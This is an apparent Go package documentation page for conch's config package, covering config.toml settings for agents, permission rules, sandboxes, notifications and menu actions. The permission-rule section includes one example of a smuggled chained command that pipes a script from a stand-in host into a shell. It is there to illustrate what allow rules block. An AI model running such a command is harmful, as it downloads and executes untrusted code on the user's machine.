config

package
v0.2.2 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Nov 20, 2026 License: Apache-2.0 Imports: 17 Imported by: 0 modules, 0 packages

The first number is the count of modules that contain a package that imports this one. The module count is a better indicator of popularity than the package count. A module with 100 importing packages is counted only once instead of 100 times, reflecting the fact that the choice to use the package was likely made only once, not 100 times.
A '?' means that the value hasn't been computed yet.

Documentation

Overview

Package config resolves conch's on-disk locations and loads config.toml.

Index

Constants

View Source
const (
	ActionOnPane    = "pane"
	ActionOnBranch  = "branch"
	ActionOnProject = "project"
	ActionOnMachine = "machine"
)

Where an action can be offered. These are the words in `on`, and the kinds of row in the tree that have a place to run a command.

View Source
const (
	AppTextSizeMin, AppTextSizeMax, AppTextSizeDefault = 80, 160, 100
	AppFontSizeMin, AppFontSizeMax, AppFontSizeDefault = 9.0, 28.0, 14.0
)

The range the app keeps the window's text size and the terminal's font size to, and their defaults.

View Source
const (
	PromptBG = "#1d1f21"
	PromptFG = "#c5c8c6"
)

PromptBG and PromptFG are the terminal a preview is drawn on: the palette below is drawn for them.

View Source
const (
	PermissionsOn     = "on"
	PermissionsDryRun = "dry-run"
	PermissionsOff    = "off"
)

Permission modes.

View Source
const CloudEnv = "CONCH_CLOUD"

CloudEnv is the variable that turns Conch Cloud on (1, true, yes, on) or off (anything else) whatever config.toml says.

View Source
const DefaultSilence = 30

DefaultSilence is how long a watched pane must be quiet, in seconds.

View Source
const DefaultUploadMaxMB = 25

DefaultUploadMaxMB is the largest file dropped into a remote pane that is uploaded, unless config.toml says otherwise.

View Source
const DefaultWebPort = 8722

DefaultWebPort is where conch web listens unless told otherwise.

View Source
const IdleStopDefault = 30

IdleStopDefault is how long a sandbox may sit idle before conch stops it when nothing says otherwise: long enough to think, short enough that a forgotten sandbox costs an evening rather than a month.

View Source
const NoTeam = "-"

NoTeam set on a pane by hand keeps it out of every team, whatever the rules say.

Variables

ActionPlaces is every value `on` takes, in menu order.

View Source
var BuiltInScenes = []string{"reef", "pines", "lagoon", "stars", "board"}

BuiltInScenes are the scenes Conch.app draws itself, the names [app] background takes besides a file of your own.

View Source
var DefaultLimitAt = []int{80, 95}

DefaultLimitAt is when plan limit alerts fire, in percent used.

View Source
var TeamColors = []string{"blue", "orange", "purple", "teal", "green", "red", "pink", "yellow", "gray"}

TeamColors are the colour names a team may use.

Functions

func CloudEnabled added in v0.2.0

func CloudEnabled(c Config) bool

CloudEnabled says whether conch offers Conch Cloud. It is hidden in this release: off unless CONCH_CLOUD or [cloud] enabled turns it on. The variable, when set to anything but "", wins over the file, so one shell can try it — or leave it off — without editing the settings. Hidden is not broken: a cloud machine already in machines.json is still reached either way; what is switched off is offering Cloud.

func CloudOn added in v0.2.0

func CloudOn() bool

CloudOn is CloudEnabled for the config.toml on disk. A file that cannot be read counts as Cloud off, unless the variable says on.

func DefaultShell

func DefaultShell() string

DefaultShell returns the user's login shell.

func Dir

func Dir() string

Dir returns the conch config/state directory. Order: $CONCH_HOME, $XDG_CONFIG_HOME/conch, ~/.config/conch.

func File added in v0.1.7

func File() string

File is where config.toml lives, for telling somebody which file to edit. Load and Save already know; this is for saying so on screen.

func Glob added in v0.1.9

func Glob(pattern, s string) bool

Glob matches s against pattern, where * is any run of characters — slashes and spaces included, unlike a file glob — and ? any one.

func MergeEnv

func MergeEnv(base []string, overrides ...string) []string

MergeEnv returns base with each KEY=VALUE in overrides set, replacing any existing entry for that key. Appending instead leaves duplicates, and which duplicate a program sees depends on its runtime.

func OMZDir added in v0.2.0

func OMZDir(home string) string

OMZDir finds Oh My Zsh: the ZSH exported in ~/.zshrc, else ~/.oh-my-zsh.

func OMZThemeFile added in v0.2.0

func OMZThemeFile(dir, name string) (string, error)

OMZThemeFile is where Oh My Zsh would load theme name from: custom/ first, as it does, so a theme of your own shadows its namesake.

func OMZThemes added in v0.2.0

func OMZThemes(dir string) (themes []string, ok bool)

OMZThemes lists the Oh My Zsh themes installed under dir — its own and those in custom/ — sorted, each once. ok is false when dir is no Oh My Zsh at all.

func ParseSGRLines added in v0.2.0

func ParseSGRLines(s string) [][]Span

ParseSGRLines splits terminal output into lines of styled spans: SGR colours and bold are kept, every other escape — a cursor move, a title — is dropped, as are carriage returns and other control characters.

func Save

func Save(cfg Config) error

Save writes cfg to config.toml, as the settings screen does. Comments in a hand-edited file are not preserved.

func ScenesDir added in v0.2.1

func ScenesDir() string

ScenesDir is where scenes of your own are kept: one file each, NAME.toml.

func ServerLogPath

func ServerLogPath() string

ServerLogPath returns the path the detached server logs to.

func SocketPath

func SocketPath() string

SocketPath returns the server socket path ($CONCH_SOCKET overrides).

func TeamFor added in v0.2.1

func TeamFor(teams []Team, set, project, branch string) string

TeamFor is the team an agent is in: the one it was put in by hand (set), else the first team whose rule matches its project or branch. "" is none. A team set by hand that no longer exists is still its team: the name is what was chosen, and the tree shows it.

func UserScenes added in v0.2.1

func UserScenes(dir string) []string

UserScenes names the scene files in dir that the app would offer: sorted, named as the app allows, and none taking a built-in scene's name. Whether a file's contents are right is the app's to say.

func WriteFileAtomic added in v0.1.9

func WriteFileAtomic(path string, data []byte, perm os.FileMode) error

WriteFileAtomic writes data to path all at once, as far as anyone reading it can tell: into a temporary file of its own beside it, then renamed over it. The temporary file's name is unique to the writer, which is the point: with one fixed name (path + ".tmp"), two writers at once — two TUIs, or a TUI and Conch.app, saving ui.json in the same moment — truncated and wrote the same temporary file, and the shorter write left the longer one's tail behind it. The rename then published both: a ui.json that did not parse, which read as an empty one and lost every workspace, tab and fold. Seen live (2026-11-02).

The data is synced to disk before the rename: renamed first, a crash or power loss can publish the new name over a file whose contents never reached the disk — empty or short, which reads as a lost ui.json too.

func ZshrcVar added in v0.2.0

func ZshrcVar(home, name string) string

ZshrcVar returns the first assignment of name in ~/.zshrc.

Types

type Action added in v0.1.7

type Action struct {
	// Name is the label on the menu, and how an action is named in the
	// terminal it runs in.
	Name string `toml:"name"`
	// Run is the command, as a shell reads it: a pipeline, several
	// commands, a script of your own — whatever `sh -lc` takes.
	Run string `toml:"run"`
	// On is the kinds of row the action is offered on: pane, branch,
	// project, machine. Empty is all four, since most actions make sense
	// wherever there is a directory to run them in.
	On []string `toml:"on,omitempty"`
	// Keep leaves the terminal open when the command exits, so what it
	// printed can still be read — which is what a command that takes a
	// second and then disappears would lose. Unset is true; `keep = false`
	// closes it like an ordinary terminal, for an action whose output is
	// not the point.
	Keep *bool `toml:"keep,omitempty"`
}

Custom actions are the commands you put on conch's menus yourself. Most of what a plugin system is asked for is this: run the project's tests on this branch, open a pull request, tail a log, open the worktree in something else. Each one is a shell command somebody already runs by hand in that checkout, and conch's part is knowing *which* checkout — so it passes the machine, project, branch, worktree and pane in the environment and runs the command in a terminal of its own.

Deliberately not a plugin API: no registry to host, nothing to version, no interface to keep stable for other people's code. An action is a line in your own config.toml and it only ever runs because you chose it from a menu.

[[actions]]
name = "Run tests"
run  = "go test ./..."
on   = ["branch", "project"]

func (Action) Keeps added in v0.1.7

func (a Action) Keeps() bool

Keeps reports whether the terminal stays open after the command exits.

func (Action) Named added in v0.1.7

func (a Action) Named() bool

Named reports whether the action has both halves it needs: something to put on the menu and something to run.

func (Action) Offers added in v0.1.7

func (a Action) Offers(place string) bool

Offers reports whether the action belongs on a row of this kind.

type AgentsCfg

type AgentsCfg struct {
	// Default is the agent c starts: claude, codex, gemini or opencode.
	Default string `toml:"default"`
	// PermissionMode is how [[permissions]] rules are used: "on" (the
	// default) answers by them, "dry-run" only records what they would
	// have answered, "off" ignores them.
	PermissionMode string `toml:"permission_mode,omitempty"`
	// UnrestrictedLaunch lets an agent calling conch from its pane start
	// panes however it likes: any command, environment and flags — a
	// helper told to ask nobody before it acts among them — and type into
	// shells. Off, an agent may choose only which agent to start and its
	// --model, and types only into panes running an agent
	// (internal/server/launchrule.go).
	UnrestrictedLaunch bool `toml:"unrestricted_launch,omitempty"`
	// NoAutoResume leaves the agents a server was running when it went —
	// a reboot, a crash — for the person to resume (I in Sessions) rather
	// than having the next server resume them by itself. A server stopped
	// on purpose (conch server stop) never resumes them either way.
	NoAutoResume bool `toml:"no_auto_resume,omitempty"`
}

AgentsCfg holds agent preferences.

func (AgentsCfg) PermissionModeOrDefault added in v0.1.9

func (a AgentsCfg) PermissionModeOrDefault() string

PermissionModeOrDefault is the mode set, "on" when unset or unknown.

type AppCfg added in v0.1.9

type AppCfg struct {
	// Tabs is where the tabs go: "" (or "top") above the panes, "left"
	// in the sidebar above the tree, grouped under each machine, or
	// "right" down the far side of the panes.
	Tabs string `toml:"tabs,omitempty"`
	// Density "compact" puts a pane's name in its border rather than a
	// header of its own, closes the gaps between splits and shortens the
	// toolbar. "" is the standard window.
	Density string `toml:"density,omitempty"`
	// Sidebar "glass" lets the desktop through the sidebar, as Finder's;
	// "" keeps them solid. Panes are always solid.
	Sidebar string `toml:"sidebar,omitempty"`
	// Background is a scene drawn behind the window: "reef", "pines",
	// "lagoon" or "stars", by day under a light theme and by night under a
	// dark one; "" is none. The frame is frosted over it, and panes let it
	// through only as far as BackgroundThrough says.
	Background string `toml:"background,omitempty"`
	// BackgroundThrough is how much of the scene shows through a pane, in
	// percent, 0 to 60; 0 keeps panes solid.
	BackgroundThrough int `toml:"background_through,omitempty"`
	// BackgroundFrost is how much of the frame's colour is laid over the
	// scene: "off", "strong", or "" for light.
	BackgroundFrost string `toml:"background_frost,omitempty"`
	// BackgroundMotion "still" draws the scene without moving it. It is
	// still anyway under macOS's Reduce Motion and in Low Power Mode.
	BackgroundMotion string `toml:"background_motion,omitempty"`
	// BackgroundFireworks plays fireworks over the scene for a moment
	// when one of the window's pull requests merges. On unless false;
	// nothing plays without a scene.
	BackgroundFireworks *bool `toml:"background_fireworks,omitempty"`
	// ProjectBackgrounds gives a project, by name, a scene of its own:
	// its window shows it, and so does any window while one of its tabs is
	// in front. "none" is no scene for that project.
	ProjectBackgrounds map[string]string `toml:"project_backgrounds,omitempty"`
	// Ports shows the TCP ports a pane's programs listen on in its header,
	// a click opening one in the browser. On unless false.
	Ports *bool `toml:"ports,omitempty"`
	// ScratchKey makes option-space show the project's scratch layer from
	// anywhere, Conch.app in the background or not, as Ghostty's quick
	// terminal does. Off: option-space works only in the window.
	ScratchKey bool `toml:"scratch_key,omitempty"`
	// PrefixKeys makes [keys] prefix work in the app's panes as in the
	// TUI: the prefix, then a key from [keys.bind]. On unless false; off,
	// the prefix goes to the program like any other key.
	PrefixKeys *bool `toml:"prefix_keys,omitempty"`
	// TextSize scales the window's own text — the sidebar, tabs, the git
	// tab, the status bar — in percent; 0 is 100. The app keeps it to
	// AppTextSizes' range.
	TextSize int `toml:"text_size,omitempty"`
	// FontSize is the terminal's font size in every pane, in points; 0 is
	// 14, as conch app's own window has it.
	FontSize float64 `toml:"font_size,omitempty"`
	// Icons is the set Settings draws its sections with, and the window's
	// sidebar its rows: "" Lucide's outlines, or the Mac's own SF Symbols,
	// "sf" in line or "sf-fill" filled.
	Icons string `toml:"icons,omitempty"`
	// IconStyle "tinted" draws each icon in its own colour,
	// "tiles" white on a square of that colour, as System Settings does;
	// "" plain, in the text's.
	IconStyle string `toml:"icon_style,omitempty"`
	// Chat is the workbench's chat, an agent's conversation drawn as
	// messages with attachments and a Stop. On unless false (CONCH_CHAT=0
	// turns it off too); off, the agent's own terminal takes its place.
	// It was off unless true in 0.2.0, a pointer since so that false is
	// written down. The app reads it; conch only keeps it.
	Chat *bool `toml:"chat,omitempty"`
	// CheckUpdates makes Conch.app ask GitHub once a day whether a newer
	// release of itself is out ([update] is the command line's). On
	// unless false; a development build never asks.
	CheckUpdates *bool `toml:"check_updates,omitempty"`
	// AutoUpdate installs that release as soon as the check finds one,
	// leaving the relaunch to the person. Off by default.
	AutoUpdate bool `toml:"auto_update,omitempty"`
}

AppCfg is how Conch.app (macos/) draws its window. The TUI reads none of it: its tab bar, its density and its colours are the terminal's.

func (AppCfg) ChecksUpdates added in v0.2.1

func (a AppCfg) ChecksUpdates() bool

ChecksUpdates reports whether Conch.app looks for newer releases.

func (AppCfg) FontSizeOrDefault added in v0.1.9

func (a AppCfg) FontSizeOrDefault() float64

FontSizeOrDefault is the terminal's font size in points, kept in range.

func (AppCfg) ShowsChat added in v0.2.1

func (a AppCfg) ShowsChat() bool

ShowsChat reports whether the app's workbench offers its chat.

func (AppCfg) ShowsPorts added in v0.1.9

func (a AppCfg) ShowsPorts() bool

ShowsPorts reports whether the app puts listening ports in pane headers.

func (AppCfg) TakesPrefix added in v0.1.10

func (a AppCfg) TakesPrefix() bool

TakesPrefix reports whether the app's panes take conch's prefix keys.

func (AppCfg) TextSizeOrDefault added in v0.1.9

func (a AppCfg) TextSizeOrDefault() int

TextSizeOrDefault is the window's text size in percent, kept in range.

type BrainCfg

type BrainCfg struct {
	// Provider is claude (the Claude Code CLI and its login), anthropic
	// (the API, key in $ANTHROPIC_API_KEY) or openai (any OpenAI-compatible
	// endpoint: OpenAI, Ollama, LM Studio…).
	Provider string `toml:"provider"`
	// Model for the command bar; empty picks the provider's default.
	Model string `toml:"model"`
	// SummaryModel for agent summaries; empty picks a small, fast model.
	SummaryModel string `toml:"summary_model"`
	// Summaries lets conch summarise agents on its own when they finish or
	// need you. Off by default: each summary is a (small) model request.
	Summaries bool `toml:"summaries"`
	// BaseURL overrides the API endpoint (anthropic, openai).
	BaseURL string `toml:"base_url"`
	// APIKeyEnv names the environment variable holding the API key.
	APIKeyEnv string `toml:"api_key_env"`
	// Command is the claude binary; empty finds it on PATH.
	Command string `toml:"command"`
	// NoFastPath sends every request to the model, even those conch can
	// plan by itself (show, close, tell one agent or everyone, what is
	// waiting).
	NoFastPath bool `toml:"no_fast_path,omitempty"`
}

BrainCfg configures conch's brain: the model behind the command bar and agent summaries. Requests use your own agent login or API key.

type CloudCfg added in v0.2.0

type CloudCfg struct {
	// Enabled offers Conch Cloud: conch login, conch cloud machine, Move
	// to Conch Cloud, the settings. Off in this release; CONCH_CLOUD
	// overrides it either way (CloudEnabled).
	Enabled bool   `toml:"enabled,omitempty"`
	API     string `toml:"api,omitempty"`
}

CloudCfg is Conch Cloud. API is the control plane to sign in to: "" is the production server; CONCH_CLOUD_URL overrides it. A device keeps the server it signed in to with its sign-in, so changing this takes effect at the next conch login.

type Config

type Config struct {
	Keys    Keys       `toml:"keys"`
	Notify  NotifyCfg  `toml:"notify"`
	UI      UICfg      `toml:"ui"`
	Shell   ShellCfg   `toml:"shell"`
	Agents  AgentsCfg  `toml:"agents"`
	Brain   BrainCfg   `toml:"brain"`
	Update  UpdateCfg  `toml:"update"`
	Remote  RemoteCfg  `toml:"remote"`
	Git     GitCfg     `toml:"git"`
	Verify  VerifyCfg  `toml:"verify"`
	Sandbox SandboxCfg `toml:"sandbox"`
	// Integrations are the registries integration files come from, and the
	// addresses given for self-hosted services.
	Integrations IntegrationsCfg `toml:"integrations"`
	Web          WebCfg          `toml:"web"`
	App          AppCfg          `toml:"app"`
	Cloud        CloudCfg        `toml:"cloud"`
	// Trackers are where tickets come from besides GitHub (trackers.go).
	Trackers TrackersCfg `toml:"trackers"`
	Preview  PreviewCfg  `toml:"preview"`
	// Actions are commands of your own on conch's menus. Last, because
	// TOML's array of tables has to come after the plain tables when the
	// settings screen writes this file back out.
	Actions []Action `toml:"actions,omitempty"`
	// Permissions answer an agent's permission requests by rule, the first
	// that matches deciding (permissions.go). After Actions for the same
	// reason.
	Permissions []PermissionRule `toml:"permissions,omitempty"`
	// Teams group agents by what they work on — backend, UI, a report —
	// across projects and branches (teams.go). After the plain tables too.
	Teams []Team `toml:"teams,omitempty"`
}

Config is the user configuration read from config.toml.

func Default

func Default() Config

Default returns the built-in configuration.

func Load

func Load() (Config, error)

Load reads config.toml from Dir(), falling back to defaults when absent.

func (Config) ActionProblems added in v0.1.7

func (c Config) ActionProblems() []string

ActionProblems names what is wrong with the actions in config.toml, so an action that never appears on a menu can say why rather than being quietly dropped. The settings screen shows them.

func (Config) ActionsOn added in v0.1.7

func (c Config) ActionsOn(place string) []Action

ActionsOn is the actions offered on a kind of row, in the order they were written: a menu that reorders itself between two conch runs is worse than one in an order somebody chose. Half-written ones are left out — ActionProblems says why.

type GitCfg added in v0.1.9

type GitCfg struct {
	// Squash is whether merging a branch puts one commit on the base
	// instead of a merge commit. True by default, which is what the
	// merge dialog has always ticked; it is the default there and what
	// auto_merge does, so the two cannot disagree.
	Squash bool `toml:"squash"`
	// StaleDays is how long a local branch goes without a commit before
	// conch branch prune and the app's Old branches call it old; 0 is 30.
	StaleDays int `toml:"stale_days,omitempty"`
}

GitCfg is how conch's own git actions behave. It is small on purpose: everything else about a repository is the repository's, read from it rather than set here.

type IntegrationsCfg added in v0.2.1

type IntegrationsCfg struct {
	// Registries are those besides conch's own, each trusted by its own
	// key: a company's, or a fork.
	Registries []RegistryCfg `toml:"registries,omitempty"`
	// Base is the API address given for an integration whose file asks
	// for one (base_url = "ask"): a self-hosted GitLab or Jenkins, by the
	// integration's name.
	Base map[string]string `toml:"base,omitempty"`
	// Projects are the deploy integrations a project uses that its files
	// do not show — Vercel linking a repository from its own dashboard,
	// with no vercel.json — by the project's folder (or its name), as a
	// comma-separated list: "/Users/me/web" = "vercel". The person's
	// switch in a project's Integrations sheet, or conch integration use.
	Projects map[string]string `toml:"projects,omitempty"`
}

IntegrationsCfg is [integrations].

func (IntegrationsCfg) Chosen added in v0.2.1

func (c IntegrationsCfg) Chosen(name, root string) []string

Chosen is the integrations [integrations.projects] gives the project named name at root, by its folder first, then its name.

func (*IntegrationsCfg) SetChosen added in v0.2.1

func (c *IntegrationsCfg) SetChosen(root, integration string, on bool)

SetChosen turns integration on or off for the project at root, keyed by its folder; a project left with none has no entry.

type JiraCfg added in v0.2.1

type JiraCfg struct {
	// URL is the site, https://acme.atlassian.net.
	URL   string `toml:"url,omitempty"`
	Email string `toml:"email,omitempty"`
	// APIToken is the token itself; empty reads the variable APITokenEnv
	// names.
	APIToken string `toml:"api_token,omitempty"`
	// APITokenEnv names the variable holding the token; "" is
	// JIRA_API_TOKEN.
	APITokenEnv string `toml:"api_token_env,omitempty"`
	// Project is the project key whose tickets are listed (PROJ); "" is
	// every project the account can see.
	Project string `toml:"project,omitempty"`
}

JiraCfg is Jira Cloud, reached with an Atlassian account's email and an API token.

type Keys

type Keys struct {
	// Prefix is the key that, while typing into a pane, hands control back
	// to conch (Bubble Tea key notation, e.g. "ctrl+b").
	Prefix string `toml:"prefix"`
	// Bind rebinds what a key *after* the prefix does: an action's name to
	// the key that runs it, as tmux's bind-key does
	// (`split_right = "\\"`). What is not named here keeps its default,
	// an empty key unbinds the action, and the names are
	// internal/keymap's — `conch keys` lists them. It is a map and not a
	// field each because the set belongs to keymap, which the TUI, the
	// doctor and that command all read; config only carries the file.
	Bind map[string]string `toml:"bind"`
}

Keys holds key bindings.

type LinearCfg added in v0.2.1

type LinearCfg struct {
	// APIKey is the key itself, kept here as it is (config.toml is 0600);
	// empty reads the variable APIKeyEnv names.
	APIKey string `toml:"api_key,omitempty"`
	// APIKeyEnv names the variable holding the key; "" is LINEAR_API_KEY.
	APIKeyEnv string `toml:"api_key_env,omitempty"`
	// APIURL overrides Linear's GraphQL endpoint.
	APIURL string `toml:"api_url,omitempty"`
	// Team is the team key whose tickets are listed (ENG); "" is every
	// team the key can see.
	Team string `toml:"team,omitempty"`
}

LinearCfg is Linear, reached with a personal API key.

type NotifyCfg

type NotifyCfg struct {
	Enabled bool `toml:"enabled"` // master switch
	Desktop bool `toml:"desktop"` // macOS notification / notify-send
	Sound   bool `toml:"sound"`   // play a system sound
	Bell    bool `toml:"bell"`    // terminal bell
	Waiting bool `toml:"waiting"` // when an agent needs an answer
	Done    bool `toml:"done"`    // when an agent finishes
	// QuietStart and QuietEnd ("22:00", "08:00") silence alerts every day
	// between them; waiting agents still show in the sidebar. Empty: never.
	QuietStart string `toml:"quiet_start"`
	QuietEnd   string `toml:"quiet_end"`
	// Limits alerts when an agent's plan limit window (Claude's 5-hour or
	// weekly, Codex's) passes a percentage in LimitAt.
	Limits  bool  `toml:"limits"`
	LimitAt []int `toml:"limit_at"`
	// Silence is how many seconds without output count as quiet, for a
	// pane watched for it (ctrl+b M).
	Silence int `toml:"silence"`
	// Command is run, in sh, for every alert as well: the alert as JSON
	// on its stdin ({"title", "body", "at"}) and in CONCH_NOTIFY_TITLE and
	// CONCH_NOTIFY_BODY. One line sends it to ntfy, a Slack webhook or a
	// Telegram bot, and conch holds none of their tokens. Empty: none.
	Command string `toml:"command,omitempty"`
}

NotifyCfg controls how the TUI tells you an agent needs attention while you are looking at a different pane.

func (NotifyCfg) Quiet

func (n NotifyCfg) Quiet(t time.Time) bool

Quiet reports whether t falls in the configured quiet hours. The range may wrap past midnight.

func (NotifyCfg) SilenceAfter added in v0.1.4

func (n NotifyCfg) SilenceAfter() int

SilenceAfter is Silence, or the default when it is unset or makes no sense.

func (NotifyCfg) Thresholds

func (n NotifyCfg) Thresholds() []int

Thresholds is LimitAt cleaned up: percentages in 1..100, ascending, once each; the defaults when none are valid.

type PermissionRule added in v0.1.9

type PermissionRule struct {
	// Project limits the rule to a project, by name or path; empty is
	// every project.
	Project string `toml:"project,omitempty"`
	// Agent limits it to one agent (claude); empty is every agent.
	Agent string `toml:"agent,omitempty"`
	// Tool is the tool's name, as the agent gives it: Bash, Edit, Write,
	// Read, WebFetch, mcp__github__create_issue; * and ? work.
	Tool string `toml:"tool"`
	// Match is what the tool acts on — the command, the file (relative to
	// the agent's folder when inside it), the URL — with * for anything;
	// empty is anything.
	Match string `toml:"match,omitempty"`
	// Action is allow or deny.
	Action string `toml:"action"`
}

A permission rule answers an agent's request to use a tool without asking the person — or refuses it — when the request matches:

[[permissions]]
tool = "Bash"
match = "go test *"
action = "allow"

The first rule that matches decides; none matching asks as before. A rule allowing a command never allows one that chains or substitutes another (; && | ` $( > < and newlines), unless its own pattern has that very character: "go test *" must not also allow "go test ./... && curl evil.sh | sh".

func (PermissionRule) Check added in v0.1.9

func (r PermissionRule) Check() error

Check says what is wrong with a rule; a rule that is wrong is never used.

func (PermissionRule) Matches added in v0.1.9

func (r PermissionRule) Matches(agent, tool, subject, project, root string) bool

Matches reports whether the rule covers a request: agent's use of tool on subject, in the project named project at root.

func (PermissionRule) String added in v0.1.9

func (r PermissionRule) String() string

String is the rule in words, for saying which one decided.

type PreviewCfg added in v0.2.1

type PreviewCfg struct {
	Xcode      string `toml:"xcode,omitempty"`
	AndroidSDK string `toml:"android_sdk,omitempty"`
}

PreviewCfg is where the phones of a mobile preview come from (conch preview, Conch.app's Mobile Preview): Xcode for the iOS simulators and the Android SDK for emulators. "" finds each by itself — Xcode in /Applications even when xcode-select points at the Command Line Tools.

type Prompt added in v0.2.0

type Prompt struct {
	Theme string   `json:"theme"`
	Lines [][]Span `json:"lines"`
	Right []Span   `json:"right,omitempty"`
}

A prompt as Settings shows it under a theme's name: the lines of its PROMPT and its RPROMPT, each a run of styled text.

func OMZPrompt added in v0.2.0

func OMZPrompt(ctx context.Context, dir, theme string) (Prompt, error)

OMZPrompt renders theme's prompt as a new terminal would draw it: zsh runs the theme in a home of its own, in a git checkout ~/my-project on main with a change, so what a theme says about git shows. Nothing of the person's own — their .zshrc, their git config — is read; the theme itself is their code, run as opening a terminal runs it.

type ProviderCfg added in v0.1.5

type ProviderCfg struct {
	// APIKey is the key itself, when you would rather keep it here than in
	// your environment. It is stored as it is: config.toml is written
	// 0600, but anything running as you can read it, and it travels with
	// a backup or a synced dotfile. Empty means the variable APIKeyEnv
	// names is used instead.
	APIKey string `toml:"api_key,omitempty"`
	// APIKeyEnv names the variable holding the key; "" is the provider's
	// own, e.g. DAYTONA_API_KEY. A key set above wins over it.
	APIKeyEnv string `toml:"api_key_env,omitempty"`
	// APIURL overrides the API endpoint; "" is the provider's own, or what
	// its environment variable says.
	APIURL string `toml:"api_url,omitempty"`
	// Target is the region, e.g. "us" or "eu"; "" is the account default.
	Target string `toml:"target,omitempty"`
	// Snapshot (image) new sandboxes start from; "" is the provider's own.
	// Read as Image by a provider file; Image wins when both are set.
	Snapshot string `toml:"snapshot,omitempty"`
	// Region, Image and Size are what a provider file declares can be
	// chosen ([[setting]] region and image, [size]); "" is the account's
	// or the provider's default. Region and Image take the place of Target
	// and Snapshot, which older config files still say and which are read
	// when these are empty (RegionOr, ImageOr).
	Region string `toml:"region,omitempty"`
	Image  string `toml:"image,omitempty"`
	// Size is a named size, for a provider whose machines come in them.
	Size string `toml:"size,omitempty"`
	// Template is what new sandboxes are made from, for a provider whose
	// file offers templates (InstaBox's); "" is its default.
	Template string `toml:"template,omitempty"`
	// CPU, Memory and Disk are the default size in vCPUs and GiB, for a
	// provider whose file gives limits instead of names; 0 is its default.
	CPU    int `toml:"cpu,omitempty"`
	Memory int `toml:"memory,omitempty"`
	Disk   int `toml:"disk,omitempty"`
	// AutoStop is the provider's own idle timer, in minutes; 0 (the
	// default) turns it off. Providers count only what reaches them from
	// outside — an ssh connection, an API call — so an agent working
	// quietly inside looks idle to them and would be stopped. IdleStop
	// below is conch's own, which knows better.
	AutoStop int `toml:"auto_stop,omitempty"`
	// Restore says whether conch writes down what a sandbox was running
	// when it stops, and offers it back when it starts again. Unset is
	// true: the agents' conversations are on the sandbox's own disk, so
	// the offer costs nothing until it is taken. Set it false to have
	// conch keep no note of what ran.
	Restore *bool `toml:"restore_running,omitempty"`
	// IdleStop is how many minutes a sandbox may go without an agent
	// working or a pane printing before conch stops it, keeping its files
	// and its memory. Unset is IdleStopDefault; 0 never stops one.
	IdleStop *int `toml:"idle_stop,omitempty"`
	// PriceCPUHour, PriceGiBHour and PriceDiskGiBHour are what an hour of
	// a sandbox costs, for conch to show what one has run up. conch ships
	// no price list — providers change theirs, and a stale one misleads —
	// so nothing is shown until these are set, from the provider's own
	// pricing page.
	PriceCPUHour     float64 `toml:"price_cpu_hour,omitempty"`
	PriceGiBHour     float64 `toml:"price_gib_hour,omitempty"`
	PriceDiskGiBHour float64 `toml:"price_disk_gib_hour,omitempty"`
	// Env names variables of this environment passed into new sandboxes,
	// e.g. CLAUDE_CODE_OAUTH_TOKEN. The provider keeps their values with
	// the sandbox.
	Env []string `toml:"env,omitempty"`
}

ProviderCfg configures one sandbox provider. The API key is never stored: it is read from the environment variable APIKeyEnv names.

func (ProviderCfg) CostPerHour added in v0.1.5

func (p ProviderCfg) CostPerHour(cpu, memGiB, diskGiB int) float64

CostPerHour is what a sandbox of this size costs an hour while it runs, or 0 when no prices are set.

func (ProviderCfg) IdleMinutes added in v0.1.5

func (p ProviderCfg) IdleMinutes() int

IdleMinutes is how long a sandbox may sit idle before conch stops it: what was set, or IdleStopDefault when nothing was. 0 never stops one.

func (ProviderCfg) ImageOr added in v0.2.1

func (p ProviderCfg) ImageOr() string

ImageOr is what new sandboxes start from: image, else the older snapshot.

func (ProviderCfg) Priced added in v0.1.5

func (p ProviderCfg) Priced() bool

Priced reports whether a cost can be worked out at all.

func (ProviderCfg) RegionOr added in v0.2.1

func (p ProviderCfg) RegionOr() string

RegionOr is the region new sandboxes go to: region, else the older target.

func (ProviderCfg) RestoresRunning added in v0.1.5

func (p ProviderCfg) RestoresRunning() bool

RestoresRunning reports whether conch should remember what a sandbox was running and offer it back. Unset is true.

func (ProviderCfg) StoppedCostPerHour added in v0.1.5

func (p ProviderCfg) StoppedCostPerHour(diskGiB int) float64

StoppedCostPerHour is what it costs an hour while it is stopped: the disk it keeps. Providers charge for that until the sandbox is deleted, which is the cost people forget.

type RegistryCfg added in v0.2.1

type RegistryCfg struct {
	Name string `toml:"name"`
	URL  string `toml:"url"`
	Key  string `toml:"key,omitempty"`
}

RegistryCfg is one registry: where its index is, and the public key (ed25519, base64) its index is signed with. Without a key its index is read and said to be unsigned.

type RemoteCfg added in v0.1.1

type RemoteCfg struct {
	// UploadDrops copies local files dropped (pasted as paths) into a remote
	// pane to that machine, and pastes their paths there instead.
	UploadDrops bool `toml:"upload_drops"`
	// UploadMaxMB refuses larger files; 0 or less means the default.
	UploadMaxMB int `toml:"upload_max_mb"`
	// NoCompression stops conch asking ssh to deflate its connections to
	// other machines (Compression yes in the config it generates). It is on
	// otherwise: those connections carry panes, and a frame is a screenful
	// of styled text, which deflates to a tenth or less — the tens of
	// microseconds that costs buy milliseconds back on any network. Worth
	// turning off only where the link is as fast as the processor — a
	// machine on the same host, say — or where the CPU is the scarce thing.
	// Nothing local is ever compressed: there is no connection to settle
	// it on, only a unix socket.
	NoCompression bool `toml:"no_compression,omitempty"`
}

RemoteCfg holds settings for panes on remote machines.

func (RemoteCfg) UploadLimit added in v0.1.1

func (r RemoteCfg) UploadLimit() int64

UploadLimit is the largest file to upload, in bytes.

type SandboxCfg added in v0.1.5

type SandboxCfg map[string]ProviderCfg

SandboxCfg holds the sandbox providers conch can use, keyed by the provider's own name: `[sandbox.daytona]`, `[sandbox.e2b]` and so on. Every provider takes the same settings, so one conch grows needs no change here — and a table for a provider this build doesn't know is kept as it is rather than thrown away when the settings are saved.

func (SandboxCfg) Of added in v0.1.5

func (c SandboxCfg) Of(name string) ProviderCfg

Of is the configuration for a provider, or the zero value when it has none: every field's zero means "the provider's own default".

func (*SandboxCfg) Set added in v0.1.5

func (c *SandboxCfg) Set(name string, p ProviderCfg)

Set stores a provider's configuration, making the map if it is nil.

type ShellCfg

type ShellCfg struct {
	// OMZTheme is an Oh My Zsh theme for zsh terminals, applied after the
	// user's own .zshrc; "" keeps the theme .zshrc chooses. Terminals
	// already open follow a change (internal/server/shelltheme.go).
	OMZTheme string `toml:"omz_theme"`
}

ShellCfg holds settings for terminal panes.

type Span added in v0.2.0

type Span struct {
	Text string `json:"text"`
	FG   string `json:"fg,omitempty"`
